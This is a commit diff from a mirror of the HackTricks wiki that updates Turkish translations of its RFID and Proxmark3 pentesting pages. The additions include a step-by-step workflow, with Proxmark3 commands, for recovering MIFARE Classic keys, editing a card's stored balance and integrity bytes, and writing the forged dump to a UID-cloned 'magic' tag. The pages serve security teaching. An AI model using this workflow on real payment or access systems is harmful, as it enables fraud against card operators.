mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/todo/radio-hacking/pentesting-rfid.md', 'src/todo/radio
This commit is contained in:
parent
b55fdb2f8c
commit
dd187548f8
@ -2,102 +2,147 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Giriş
|
||||
|
||||
**Radyo Frekansı Tanımlama (RFID)**, en popüler kısa menzilli radyo çözümüdür. Genellikle bir varlığı tanımlayan bilgileri depolamak ve iletmek için kullanılır.
|
||||
|
||||
Bir RFID etiketi, **kendi güç kaynağına (aktif)**, örneğin gömülü bir bataryaya dayanabilir veya okuma anteninden alınan **radyo dalgalarından indüklenen akımı** kullanarak güç alabilir (**pasif**).
|
||||
Bir RFID tag kendi gücüne dayanabilir (**aktif**), örneğin gömülü bir pil; ya da okuyucu anteninden alınan **alınan radyo dalgalarından indüklenen akım** ile enerjilenebilir (**pasif**).
|
||||
|
||||
### Sınıflar
|
||||
|
||||
EPCglobal, RFID etiketlerini altı kategoriye ayırır. Her kategorideki bir etiket, önceki kategoride listelenen tüm yeteneklere sahiptir, bu da geriye dönük uyumluluk sağlar.
|
||||
EPCglobal RFID tag'lerini altı kategoriye ayırır. Her kategoriye ait bir tag, önceki kategoride listelenen tüm yeteneklere sahiptir; bu da geriye dönük uyumluluk sağlar.
|
||||
|
||||
- **Sınıf 0** etiketleri, **UHF** bantlarında çalışan **pasif** etiketlerdir. Satıcı, bunları üretim fabrikasında **önceden programlar**. Sonuç olarak, belleğinde depolanan bilgileri **değiştiremezsiniz**.
|
||||
- **Sınıf 1** etiketleri de **HF** bantlarında çalışabilir. Ayrıca, üretimden sonra **sadece bir kez yazılabilirler**. Birçok Sınıf 1 etiketi, aldıkları komutların **döngüsel redundans kontrollerini** (CRC) işleyebilir. CRC'ler, hata tespiti için komutların sonunda bulunan birkaç ek bayttır.
|
||||
- **Sınıf 2** etiketleri **birden fazla kez yazılabilir**.
|
||||
- **Sınıf 3** etiketleri, mevcut sıcaklık veya etiketin hareketi gibi çevresel parametreleri kaydedebilen **gömülü sensörler** içerebilir. Bu etiketler **yarı-pasif**'dir, çünkü gömülü bir güç kaynağına sahip olmalarına rağmen, diğer etiketler veya okuyucularla kablosuz **iletişim başlatamazlar**.
|
||||
- **Sınıf 4** etiketleri, aynı sınıftaki diğer etiketlerle iletişim başlatabilir, bu da onları **aktif etiketler** yapar.
|
||||
- **Sınıf 5** etiketleri, **diğer etiketlere güç sağlayabilir ve önceki etiket** sınıflarıyla iletişim kurabilir. Sınıf 5 etiketleri **RFID okuyucuları** olarak işlev görebilir.
|
||||
- **Class 0** tag'ler **pasif** tag'lerdir ve **UHF** bantlarında çalışır. Üretici tarafından fabrikada **önceden programlanırlar**. Sonuç olarak, belleklerinde depolanan bilgileri **değiştiremezsiniz**.
|
||||
- **Class 1** tag'ler ayrıca **HF** bantlarında çalışabilir. Ayrıca, üretim sonrası **sadece bir kez yazılabilirler**. Birçok Class 1 tag, aldıkları komutların **cyclic redundancy checks** (CRC'ler) işlemini de gerçekleştirebilir. CRC'ler komutların sonuna eklenen birkaç ekstra bayttır ve hata tespiti için kullanılır.
|
||||
- **Class 2** tag'ler **birden çok kez yazılabilir**.
|
||||
- **Class 3** tag'ler, mevcut sıcaklık veya tag'in hareketi gibi çevresel parametreleri kaydedebilen **gömülü sensörler** içerebilir. Bu tag'ler **yarı-pasif**dir; çünkü entegre bir **pil** gibi gömülü bir güç kaynağı **bulunsa da**, diğer tag'lerle veya okuyucularla kablosuz **iletişimi başlatamazlar**.
|
||||
- **Class 4** tag'ler aynı sınıftaki diğer tag'larla iletişimi başlatabilir, bunlar **aktif tag'lerdir**.
|
||||
- **Class 5** tag'ler diğer tag'lara **güç sağlayabilir** ve tüm önceki tag sınıflarıyla iletişim kurabilir. Class 5 tag'ler **RFID okuyucu** olarak hareket edebilir.
|
||||
|
||||
### RFID Etiketlerinde Depolanan Bilgiler
|
||||
### RFID Tag'lerde Depolanan Bilgiler
|
||||
|
||||
Bir RFID etiketinin belleği genellikle dört tür veri depolar: etiketin bağlı olduğu **varlığı tanımlayan** **tanımlama verisi** (bu veri, kullanıcı tanımlı alanlar, örneğin banka hesapları içerir); varlıkla ilgili **daha fazla** **detay** sağlayan **tamamlayıcı veri**; etiketin iç **konfigürasyonu** için kullanılan **kontrol verisi**; ve etiketin **üretici verisi**, etiketin Benzersiz Tanımlayıcısını (**UID**) ve etiketin **üretimi**, **tipi** ve **satıcısı** ile ilgili detayları içerir. İlk iki veri türünü tüm ticari etiketlerde bulacaksınız; son iki veri, etiketin satıcısına bağlı olarak farklılık gösterebilir.
|
||||
Bir RFID tag'in belleği genellikle dört tür veri depolar: tag’in iliştirildiği **varlığı tanımlayan** **kimlik verileri** (bu veriler banka hesapları gibi kullanıcı tanımlı alanları içerir); varlık hakkında daha fazla bilgi sağlayan **ek veriler**; tag’in dahili **konfigürasyonu** için kullanılan **kontrol verileri**; ve tag’in **üretici verileri**, bunlar tag’in Unique Identifier (**UID**) ve üretim, tip ve satıcıyla ilgili detayları içerir. İlk iki veri türünü tüm ticari tag'lerde bulursunuz; son iki tür tedarikçiye göre değişebilir.
|
||||
|
||||
ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan Uygulama Aile Tanımlayıcısı (**AFI**) değerini belirtir. ISO tarafından belirtilen bir diğer önemli kayıt ise, kullanıcı verilerinin **mantıksal organizasyonunu** tanımlayan Veri Depolama Formatı Tanımlayıcısı (**DSFID**)dır.
|
||||
ISO standardı, tag'in ait olduğu **nesne türünü** gösteren bir kod olan Application Family Identifier (**AFI**) değerini belirler. ISO tarafından belirtilen başka önemli bir kayıt da, kullanıcı verilerinin **mantıksal organizasyonunu** tanımlayan Data Storage Format Identifier(**DSFID**)dır.
|
||||
|
||||
Çoğu RFID **güvenlik kontrolü**, her kullanıcı bellek bloğunda ve AFI ile DSFID değerlerini içeren özel kayıtlarda **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalara sahiptir. Bu **kilit** **mekanizmaları**, kontrol belleğinde depolanan verileri kullanır ve satıcı tarafından önceden yapılandırılmış **varsayılan şifreler** içerir, ancak etiket sahiplerinin **özel şifreler yapılandırmasına** izin verir.
|
||||
Çoğu RFID **güvenlik kontrolü**, her kullanıcı bellek bloğunda ve AFI ile DSFID değerlerini içeren özel kayıtlarda **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalar içerir. Bu **kilitleme mekanizmaları**, kontrol belleğinde depolanan verileri kullanır ve tedarikçi tarafından önceden yapılandırılmış **varsayılan parolalar** içerir; ancak tag sahiplerinin **özel parolalar** yapılandırmasına da izin verir.
|
||||
|
||||
### Düşük ve Yüksek Frekanslı Etiketlerin Karşılaştırması
|
||||
### Düşük ve Yüksek frekanslı tag'lerin karşılaştırması
|
||||
|
||||
<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Düşük Frekanslı RFID Etiketleri (125kHz)
|
||||
## Düşük Frekanslı RFID Tag'ler (125kHz)
|
||||
|
||||
**Düşük frekanslı etiketler**, genellikle **yüksek güvenlik** gerektirmeyen sistemlerde kullanılır: bina erişimi, interkom anahtarları, spor salonu üyelik kartları vb. Daha yüksek menzil nedeniyle, ücretli otoparklar için kullanımı uygundur: sürücü, kartı okuyucuya yakın getirmek zorunda değildir, çünkü daha uzaktan tetiklenir. Aynı zamanda, düşük frekanslı etiketler çok ilkel olup, düşük veri transfer hızına sahiptir. Bu nedenle, bakiye tutma ve kriptografi gibi karmaşık iki yönlü veri transferi uygulamak imkansızdır. Düşük frekanslı etiketler yalnızca kimliklerini doğrulama olmaksızın kısa ID'lerini iletir.
|
||||
**Düşük frekanslı tag'ler** genellikle yüksek güvenlik gerektirmeyen sistemlerde kullanılır: bina erişimi, interkom anahtarları, spor salonu üyelik kartları vb. Daha yüksek menzil sayesinde ücretli otoparklar için kullanışlıdırlar: sürücünün kartı okuyucuya yakınlaştırması gerekmez, çünkü kart daha uzaktan tetiklenir. Aynı zamanda düşük frekanslı tag'ler çok ilkel olup düşük veri aktarım hızına sahiptir. Bu nedenle bakiye tutma ve kriptografi gibi karmaşık iki yönlü veri aktarımı mümkün değildir. Düşük frekanslı tag'ler yalnızca kısa ID'lerini herhangi bir kimlik doğrulama olmadan iletir.
|
||||
|
||||
Bu cihazlar, **pasif** **RFID** teknolojisine dayanır ve **30 kHz ile 300 kHz** aralığında çalışır, ancak genellikle 125 kHz ile 134 kHz kullanılır:
|
||||
Bu cihazlar **pasif** **RFID** teknolojisine dayanır ve **30 kHz ile 300 kHz** aralığında çalışır, ancak genellikle 125 kHz ile 134 kHz kullanılır:
|
||||
|
||||
- **Uzun Menzil** — daha düşük frekans, daha yüksek menzil anlamına gelir. EM-Marin ve HID okuyucuları, bir metreye kadar mesafeden çalışır. Bunlar genellikle otoparklarda kullanılır.
|
||||
- **İlkel protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa ID'lerini iletebilir. Çoğu durumda, veriler doğrulanmaz ve herhangi bir şekilde korunmaz. Kart okuyucunun menzilindeyken, sadece ID'sini iletmeye başlar.
|
||||
- **Düşük güvenlik** — Bu kartlar kolayca kopyalanabilir veya protokolün ilkel olması nedeniyle başkalarının cebinden bile okunabilir.
|
||||
- **Uzun Menzil** — daha düşük frekans daha yüksek menzil demektir. Yaklaşık bir metre mesafeden çalışan bazı EM-Marin ve HID okuyucular vardır. Bunlar genellikle otoparklarda kullanılır.
|
||||
- **İlkel protokol** — düşük veri aktarım hızı nedeniyle bu tag'ler yalnızca kısa ID'lerini iletebilir. Çoğu durumda veriler doğrulanmaz ve herhangi bir şekilde korunmaz. Kart okuyucunun menziline girdiği anda ID'sini iletmeye başlar.
|
||||
- **Düşük güvenlik** — Bu kartlar kolayca kopyalanabilir veya protokolün ilkel yapısı nedeniyle bir başkasının cebinden bile okunabilir.
|
||||
|
||||
**Popüler 125 kHz protokolleri:**
|
||||
**Popüler 125 kHz protokoller:**
|
||||
|
||||
- **EM-Marin** — EM4100, EM4102. CIS'teki en popüler protokol. Basitliği ve kararlılığı nedeniyle yaklaşık bir metreden okunabilir.
|
||||
- **HID Prox II** — HID Global tarafından tanıtılan düşük frekanslı protokol. Bu protokol, batı ülkelerinde daha popülerdir. Daha karmaşık olup, bu protokol için kartlar ve okuyucular nispeten pahalıdır.
|
||||
- **Indala** — Motorola tarafından tanıtılan çok eski bir düşük frekanslı protokol ve daha sonra HID tarafından satın alındı. Önceki iki protokole göre daha az karşılaşma olasılığınız vardır çünkü kullanımdan düşmektedir.
|
||||
- **EM-Marin** — EM4100, EM4102. CIS bölgesinde en popüler protokol. Sadelik ve kararlılığı nedeniyle yaklaşık bir metreden okunabilir.
|
||||
- **HID Prox II** — HID Global tarafından tanıtılan düşük frekanslı protokol. Bu protokol batı ülkelerinde daha popülerdir. Daha karmaşıktır ve bu protokol için kartlar ve okuyucular nispeten pahalıdır.
|
||||
- **Indala** — Motorola tarafından tanıtılan ve daha sonra HID tarafından satın alınan çok eski bir düşük frekans protokolü. Önceki iki protokole göre sahada karşılaşma olasılığınız daha düşüktür çünkü kullanım dışına çıkmaktadır.
|
||||
|
||||
Gerçekte, çok daha fazla düşük frekanslı protokol vardır. Ancak hepsi fiziksel katmanda aynı modülasyonu kullanır ve yukarıda listelenenlerin bir varyasyonu olarak kabul edilebilir.
|
||||
Aslında çok daha fazla düşük frekans protokolü vardır. Ancak hepsi fiziksel katmanda aynı modülasyonu kullanır ve bir şekilde yukarıda listelenenlerin bir varyasyonu olarak kabul edilebilir.
|
||||
|
||||
### Saldırı
|
||||
|
||||
Bu Etiketlere **Flipper Zero** ile **saldırabilirsiniz**:
|
||||
Bu Tag'lere Flipper Zero ile **saldırabilirsiniz**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
flipper-zero/fz-125khz-rfid.md
|
||||
{{#endref}}
|
||||
|
||||
## Yüksek Frekanslı RFID Etiketleri (13.56 MHz)
|
||||
## Yüksek Frekanslı RFID Tag'ler (13.56 MHz)
|
||||
|
||||
**Yüksek frekanslı etiketler**, kriptografi, büyük iki yönlü veri transferi, kimlik doğrulama vb. gerektiğinde daha karmaşık bir okuyucu-etiket etkileşimi için kullanılır.\
|
||||
Genellikle banka kartlarında, toplu taşıma ve diğer güvenli geçişlerde bulunur.
|
||||
**Yüksek frekanslı tag'ler**, kriptografi, geniş iki yönlü veri aktarımı, kimlik doğrulama vb. gerektiğinde daha karmaşık okuyucu-tag etkileşimi için kullanılır. Genellikle banka kartları, toplu taşıma ve diğer güvenli geçişlerde bulunur.
|
||||
|
||||
**Yüksek frekanslı 13.56 MHz etiketleri, bir dizi standart ve protokoldür**. Genellikle [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) olarak adlandırılır, ancak bu her zaman doğru değildir. Fiziksel ve mantıksal seviyelerde kullanılan temel protokol seti ISO 14443'tür. Yüksek seviyeli protokoller ve alternatif standartlar (ISO 19092 gibi) buna dayanmaktadır. Birçok kişi bu teknolojiyi **Yakın Alan İletişimi (NFC)** olarak adlandırır; bu, 13.56 MHz frekansında çalışan cihazlar için bir terimdir.
|
||||
**13.56 MHz yüksek frekans tag'leri bir dizi standart ve protokoldür**. Genellikle [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) olarak adlandırılırlar, ancak bu her zaman doğru değildir. Fiziksel ve mantıksal düzeylerde kullanılan temel protokol seti ISO 14443'tür. Üst düzey protokoller ve alternatif standartlar (ör. ISO 19092) buna dayanır. Birçok insan bu teknolojiyi 13.56 MHz frekansında çalışan cihazlar için kullanılan bir terim olan **Near Field Communication (NFC)** olarak adlandırır.
|
||||
|
||||
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Basitçe ifade etmek gerekirse, NFC'nin mimarisi şöyle çalışır: iletim protokolü, kartları üreten şirket tarafından seçilir ve düşük seviyeli ISO 14443'e dayalı olarak uygulanır. Örneğin, NXP, Mifare adında kendi yüksek seviyeli iletim protokolünü icat etmiştir. Ancak daha düşük seviyede, Mifare kartları ISO 14443-A standardına dayanmaktadır.
|
||||
Basitçe söylemek gerekirse, NFC'nin mimarisi şöyle çalışır: iletim protokolü kartları üreten şirket tarafından seçilir ve düşük seviyeli ISO 14443'e dayanarak uygulanır. Örneğin, NXP kendi yüksek seviyeli iletim protokolünü Mifare olarak icat etti. Ancak alt seviyede, Mifare kartları ISO 14443-A standardına dayanır.
|
||||
|
||||
Flipper, hem düşük seviyeli ISO 14443 protokolü ile hem de Mifare Ultralight veri transfer protokolü ve banka kartlarında kullanılan EMV ile etkileşimde bulunabilir. Mifare Classic ve NFC NDEF desteği eklemek için çalışıyoruz. NFC'yi oluşturan protokoller ve standartlar üzerine kapsamlı bir inceleme, ayrı bir makaleyi hak ediyor ve bunu daha sonra yayınlamayı planlıyoruz.
|
||||
Flipper hem düşük seviyeli ISO 14443 protokolüyle hem de Mifare Ultralight veri aktarım protokolü ve banka kartlarında kullanılan EMV ile etkileşime girebilir. Mifare Classic ve NFC NDEF desteği eklemek üzerinde çalışıyoruz. NFC'yi oluşturan protokoller ve standartlar hakkında kapsamlı bir inceleme ayrı bir makaleyi hak ediyor; bunu ileride yayınlamayı planlıyoruz.
|
||||
|
||||
ISO 14443-A standardına dayanan tüm yüksek frekanslı kartlar, benzersiz bir çip kimliğine sahiptir. Bu, kartın seri numarası gibi çalışır, bir ağ kartının MAC adresi gibidir. **Genellikle, UID 4 veya 7 bayt uzunluğundadır**, ancak nadiren **10'a kadar** çıkabilir. UID'ler gizli değildir ve kolayca okunabilir, **bazen hatta kartın kendisinde basılıdır**.
|
||||
ISO 14443-A standardına dayanan tüm yüksek frekans kartlarının benzersiz bir çip ID'si vardır. Bu, kartın seri numarası gibi davranır; bir ağ kartının MAC adresine benzer. **Genellikle UID 4 veya 7 bayt uzunluğundadır**, ancak nadiren **10'a kadar** çıkabilir. UID'ler bir sır değildir ve kolayca okunabilir, **bazen kartın üzerine bile basılıdır**.
|
||||
|
||||
UID'ye dayanan birçok erişim kontrol sistemi, **kimlik doğrulama ve erişim sağlama** için kullanılır. Bazen bu, RFID etiketleri **kriptografi desteklese bile** gerçekleşir. Böyle bir **kötüye kullanım**, güvenlik açısından onları aptal **125 kHz kartları** seviyesine düşürür. Sanal kartlar (Apple Pay gibi), telefon sahiplerinin ödeme uygulamalarıyla kapıları açmamaları için dinamik bir UID kullanır.
|
||||
Birçok erişim kontrol sistemi UID'ye dayanarak **kimlik doğrulaması yapar ve erişim verir**. Bazen bu, RFID tag'ler kriptografiyi desteklese bile **gerçekleşir**. Böyle **kötü kullanım**, güvenlik açısından onları aptal **125 kHz kartlar** seviyesine düşürür. Sanal kartlar (ör. Apple Pay) telefon sahiplerinin ödeme uygulamalarıyla kapıları açmamaları için dinamik UID kullanır.
|
||||
|
||||
- **Düşük menzil** — yüksek frekanslı kartlar, okuyucuya yakın yerleştirilmesi için özel olarak tasarlanmıştır. Bu, kartı yetkisiz etkileşimlerden korumaya da yardımcı olur. Elde ettiğimiz maksimum okuma menzili yaklaşık 15 cm'dir ve bu, özel yapım yüksek menzil okuyucularla olmuştur.
|
||||
- **Gelişmiş protokoller** — veri transfer hızları 424 kbps'ye kadar çıkabilir ve bu, tam teşekküllü iki yönlü veri transferi ile karmaşık protokollere olanak tanır. Bu da **kriptografi**, veri transferi vb. sağlar.
|
||||
- **Yüksek güvenlik** — yüksek frekanslı temassız kartlar, akıllı kartlarla kıyaslandığında hiçbir şekilde geri kalmaz. AES gibi kriptografik olarak güçlü algoritmaları destekleyen ve asimetrik kriptografi uygulayan kartlar vardır.
|
||||
- **Düşük menzil** — yüksek frekanslı kartlar özellikle okuyucuya yakın tutulacak şekilde tasarlanmıştır. Bu aynı zamanda kartı yetkisiz etkileşimlerden korumaya yardımcı olur. Elde ettiğimiz maksimum okuma menzili yaklaşık 15 cm idi ve bu özel yapılmış yüksek menzilli okuyucularla elde edildi.
|
||||
- **Gelişmiş protokoller** — 424 kbps'e kadar veri aktarım hızları, kriptografi, veri aktarımı vb. sağlayan tam özellikli iki yönlü veri aktarımına izin veren karmaşık protokollere olanak tanır.
|
||||
- **Yüksek güvenlik** — yüksek frekanslı temassız kartlar akıllı kartlardan hiçbir şekilde aşağı değildir. AES gibi kriptografik olarak güçlü algoritmaları destekleyen ve asimetrik kriptografiyi uygulayan kartlar vardır.
|
||||
|
||||
### Saldırı
|
||||
|
||||
Bu Etiketlere **Flipper Zero** ile **saldırabilirsiniz**:
|
||||
Bu Tag'lere Flipper Zero ile **saldırabilirsiniz**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
flipper-zero/fz-nfc.md
|
||||
{{#endref}}
|
||||
|
||||
Ya da **proxmark** kullanarak:
|
||||
Veya **proxmark** kullanarak:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### Taşınabilir HID MaxiProx 125 kHz Mobil Klonlayıcı Oluşturma
|
||||
### MiFare Classic offline stored-value tampering (broken Crypto1)
|
||||
|
||||
Eğer **uzun menzilli**, **pil ile çalışan** bir çözüm gerekiyorsa, HID Prox® rozetlerini kırmızı takım etkinlikleri sırasında toplamak için duvara monte edilmiş **HID MaxiProx 5375** okuyucusunu sırt çantasına sığacak şekilde bağımsız bir klonlayıcıya dönüştürebilirsiniz. Tam mekanik ve elektriksel geçiş burada mevcuttur:
|
||||
Bir sistem parasal bakiyeyi doğrudan bir MiFare Classic karta kaydederse, genellikle bunu manipüle edebilirsiniz çünkü Classic NXP'nin kullanımdan kalkmış Crypto1 şifresini kullanır. Crypto1 yıllardır kırılmış durumdadır; bu, sektör anahtarlarının kurtarılmasına ve kart belleğinin tam okuma/yazılmasına commodity donanımla (ör. Proxmark3) izin verir.
|
||||
|
||||
Uçtan uca iş akışı (soyutlanmış):
|
||||
|
||||
1) Orijinal kartı dump'layın ve anahtarları kurtarın
|
||||
```bash
|
||||
# Attempt all built-in Classic key recovery attacks and dump the card
|
||||
hf mf autopwn
|
||||
```
|
||||
Bu genellikle sector keys (A/B)'yi kurtarır ve client dumps folder'da bir full-card dump oluşturur.
|
||||
|
||||
2) value/integrity alanlarını tespit edin ve anlayın
|
||||
|
||||
- Orijinal karta yasal top-up'lar yapın ve birden çok dump alın (önce/sonra).
|
||||
- Bakiye ve herhangi bir integrity alanını temsil eden değişen blok/byte'ları belirlemek için iki dump'ın diff'ini alın.
|
||||
- Birçok Classic deployment'ı ya yerel "value block" encoding'ini kullanır ya da kendi checksums'larını uygular (ör. bakiye ile başka bir alanın ve bir sabitin XOR'u). Bakiyeyi değiştirdikten sonra integrity byte'larını yeniden hesaplayın ve tüm duplicated/complemented alanların tutarlı olduğundan emin olun.
|
||||
|
||||
3) Değiştirilmiş dump'ı writable “Chinese magic” Classic tag'ine yazın
|
||||
```bash
|
||||
# Load a modified binary dump onto a UID-changeable Classic tag
|
||||
hf mf cload -f modified.bin
|
||||
```
|
||||
4) Terminallerin kartı tanıması için orijinal UID'yi klonlayın
|
||||
```bash
|
||||
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
|
||||
hf mf csetuid -u <original_uid>
|
||||
```
|
||||
5) Terminallerde kullanım
|
||||
|
||||
Kart üzerindeki bakiye ve UID'ye güvenen okuyucular, değiştirilmiş kartı kabul edecektir. Saha gözlemleri, birçok kurulumun bakiyeleri alan genişliğine göre sınırlandırdığını gösteriyor (ör. 16-bit fixed-point).
|
||||
|
||||
Notlar
|
||||
|
||||
- Eğer sistem native Classic value blocks kullanıyorsa, formatı hatırlayın: value (4B) + ~value (4B) + value (4B) + block address + ~address. Tüm parçalar eşleşmelidir.
|
||||
- Basit checksums içeren özel formatlarda, differential analysis firmware'i tersine çevirmeden bütünlük fonksiyonunu çıkarmanın en hızlı yoludur.
|
||||
- Sadece UID değiştirilebilir etiketler ("Chinese magic" gen1a/gen2) block 0/UID yazmaya izin verir. Normal Classic kartların UID'leri salt okunurdur.
|
||||
|
||||
Pratik Proxmark3 komutları için bkz:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### Taşınabilir HID MaxiProx 125 kHz Mobil Kloner Yapımı
|
||||
|
||||
Red-team operasyonları sırasında HID Prox® rozetlerini toplamak için **uzun menzilli**, **pil ile çalışan** bir çözüme ihtiyacınız varsa, duvara monte edilmiş **HID MaxiProx 5375** okuyucusunu sırt çantasına sığan, kendi kendine yeten bir klonere dönüştürebilirsiniz. Tam mekanik ve elektriksel anlatım burada mevcuttur:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -110,5 +155,8 @@ maxiprox-mobile-cloner.md
|
||||
|
||||
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
- [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Proxmark3 ile RFID Sistemlerine Saldırma
|
||||
## Proxmark3 ile RFID Sistemlerine Saldırmak
|
||||
|
||||
Yapmanız gereken ilk şey bir [**Proxmark3**](https://proxmark.com) edinmek ve [**yazılımı ve bağımlılıklarını yüklemek**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
The first thing you need to do is to have a [**Proxmark3**](https://proxmark.com) and [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### MIFARE Classic 1KB'ye Saldırma
|
||||
### MIFARE Classic 1KB'ye Saldırmak
|
||||
|
||||
**16 sektör** vardır, her birinde **4 blok** ve her blokta **16B** bulunur. UID, sektör 0 blok 0'da (ve değiştirilemez).\
|
||||
Her sektöre erişmek için **2 anahtar** (**A** ve **B**) gerekir, bunlar **her sektörün blok 3'ünde** (sektör trailer) saklanır. Sektör trailer ayrıca **okuma ve yazma** izinlerini veren **erişim bitlerini** saklar.\
|
||||
2 anahtar, ilkini biliyorsanız okumak ve ikincisini biliyorsanız yazmak için izin vermek için kullanışlıdır (örneğin).
|
||||
Bunun **16 sektörü** vardır, her biri **4 bloka** sahip ve her blok **16B** içerir. UID, sektör 0 blok 0'da bulunur (ve değiştirilemez).\
|
||||
Her sektöre erişmek için **2 anahtara** (**A** ve **B**) ihtiyacınız vardır; bunlar **her sektörün blok 3'ünde** saklanır (sector trailer). Sector trailer ayrıca iki anahtarı kullanarak **her blok** için **okuma ve yazma** izinlerini veren **erişim bitlerini** de saklar.\
|
||||
İki anahtar, örneğin ilkini biliyorsanız okuma, ikincisini biliyorsanız yazma izni vermek için faydalıdır.
|
||||
|
||||
Birçok saldırı gerçekleştirilebilir.
|
||||
Çeşitli saldırılar gerçekleştirilebilir
|
||||
```bash
|
||||
proxmark3> hf mf #List attacks
|
||||
|
||||
@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
||||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Proxmark3, hassas verileri bulmaya çalışmak için **Tag ile Reader iletişimini dinleme** gibi diğer eylemleri gerçekleştirmeye olanak tanır. Bu kartta, iletişimi dinleyebilir ve kullanılan anahtarı hesaplayabilirsiniz çünkü **kullanılan kriptografik işlemler zayıftır** ve düz metin ile şifreli metni bilerek bunu hesaplayabilirsiniz (`mfkey64` aracı).
|
||||
The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **kullanılan kriptografik işlemler zayıftır** and knowing the plain and cipher text you can calculate it (`mfkey64` aracı).
|
||||
|
||||
#### MiFare Classic için saklanan bakiye kötüye kullanımı hızlı iş akışı
|
||||
|
||||
Terminaller Classic kartlarda bakiyeleri sakladığında, tipik uçtan uca akış şudur:
|
||||
```bash
|
||||
# 1) Recover sector keys and dump full card
|
||||
proxmark3> hf mf autopwn
|
||||
|
||||
# 2) Modify dump offline (adjust balance + integrity bytes)
|
||||
# Use diffing of before/after top-up dumps to locate fields
|
||||
|
||||
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
|
||||
proxmark3> hf mf cload -f modified.bin
|
||||
|
||||
# 4) Clone original UID so readers recognize the card
|
||||
proxmark3> hf mf csetuid -u <original_uid>
|
||||
```
|
||||
Notlar
|
||||
|
||||
- `hf mf autopwn` nested/darkside/HardNested-style saldırıları organize eder, anahtarları kurtarır ve client dumps folder içinde dumplar oluşturur.
|
||||
- block 0/UID yazma işlemi yalnızca magic gen1a/gen2 kartlarda çalışır. Normal Classic kartların UID'si salt okunurdur.
|
||||
- Birçok dağıtım Classic "value blocks" veya basit checksums kullanır. Düzenleme yaptıktan sonra tüm tekrarlanan/tamamlanan alanların ve checksums'ın tutarlı olduğundan emin olun.
|
||||
|
||||
See a higher-level methodology and mitigations in:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-rfid.md
|
||||
{{#endref}}
|
||||
|
||||
### Ham Komutlar
|
||||
|
||||
IoT sistemleri bazen **markasız veya ticari olmayan etiketler** kullanır. Bu durumda, Proxmark3'ü etiketlere özel **ham komutlar göndermek** için kullanabilirsiniz.
|
||||
IoT sistemleri bazen **markasız veya ticari olmayan etiketler** kullanır. Bu durumda, Proxmark3'ü kullanarak etiketlere özel **ham komutlar gönderebilirsiniz**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
@ -45,14 +73,21 @@ No chinese magic backdoor command detected
|
||||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
Bu bilgilerle kart hakkında ve onunla iletişim kurma yöntemi hakkında bilgi aramayı deneyebilirsiniz. Proxmark3, şu şekilde ham komutlar göndermeye olanak tanır: `hf 14a raw -p -b 7 26`
|
||||
Bu bilgilerle kart ve onunla iletişim kurma yöntemi hakkında bilgi aramayı deneyebilirsiniz. Proxmark3 aşağıdaki gibi raw komutlar göndermenizi sağlar: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### Scriptler
|
||||
### Scripts
|
||||
|
||||
Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş bir **otomasyon scriptleri** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Ardından, scriptin adını takip eden `script run` komutunu kullanın:
|
||||
Proxmark3 yazılımı, basit görevleri gerçekleştirmek için kullanabileceğiniz önceden yüklenmiş bir **automation scripts** listesi ile gelir. Tam listeyi almak için `script list` komutunu kullanın. Ardından `script run` komutunu, script'in adını takip edecek şekilde kullanın:
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
